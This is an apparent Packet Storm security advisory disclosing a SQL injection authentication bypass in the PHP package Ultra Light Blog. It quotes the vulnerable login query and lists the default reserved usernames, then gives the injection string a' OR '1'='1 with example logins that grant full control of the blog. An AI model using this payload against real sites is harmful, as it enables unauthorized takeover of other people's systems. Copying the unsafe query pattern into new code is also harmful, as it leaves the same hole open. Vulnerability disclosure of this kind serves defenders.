what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ultra Light Blog SQL Injection

Ultra Light Blog SQL Injection
Posted Nov 8, 2016
Authored by N_A

Ultra Light Blog suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | f9559af881d4b39a12960858ed2517695333f390a6f467b57f41c58224c05869

Ultra Light Blog SQL Injection

Change Mirror Download
Ultra Light Blog - SQL Injection Authentication Bypass
=======================================================



Discovered by N_A , N_A [at] tutanota.com
===========================================





Description
============


Ultra Light blog, based on PHP & MySQL, also comes with CAPTCHA to stop bots. After registering user can create, post topic or send/check messages. User can also change their profile images, about me message and more ! -Sourav Ghosh www.web-shine.in


https://sourceforge.net/projects/ultralightblog





Vulnerability
=============

An SQL Injection vulnerability exists within Ultra Light Blog that allows remote attackers to compromise and take ownership of the blog with full permissions.




The vulnerability resides within the login.php file of the blog package:


if ($_SESSION["name"] != "" && $_SESSION["msg"] != "" && $_SESSION["id"] != "")
{
$name = $_SESSION["name"];
$msg = $_SESSION["msg"];
$id = $_SESSION["id"];
....
....
....A
$query="select id,name from login where id = '$id' and name = '$name'";
$rs=mysql_query($query,$conn);
$flag=mysql_num_rows($rs);



The $query variable is where the injection can occur due to the remote attacker being able to control $id and $name.





Exploition and Proof of Concept
================================



The exploitation requires 2 parts:


1) A *valid* username
2) The SQL Injection string




1) If you do not have a valid user name then use any of the following:

A A A user, admin ,system ,roote , web-shine


As stated in the new_user.php file:


A
if ($id == "user" || $id == "admin" || $id == "system" || $id == "roote" || $id == "web-shine")
A A A $err = "Sorry, you have typed a Reserved ID.<br>";


The Blog package reserves certain usernames and they are by default inside the SQL tables.
How ever,A the line below this does not allow logins of a length below 6 characters:

if (strlen($id) <6 || strlen($id)>10)
A A A $err = $err + "ID Length must be within 6 to 10.<br>";



My tests have shown that user names that work are:A system and web-shineA ( if u do not know the username the blog is registered under )




2) The injection string required is : a' OR '1'='1A A


An example of exploitation would be:


username: jimmy16
password: a' OR '1'='1A

username: system
password: a' OR '1'='1A


The result is logging into the blog with total ownership.




Email
=====

NA[at]tutanota.com
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close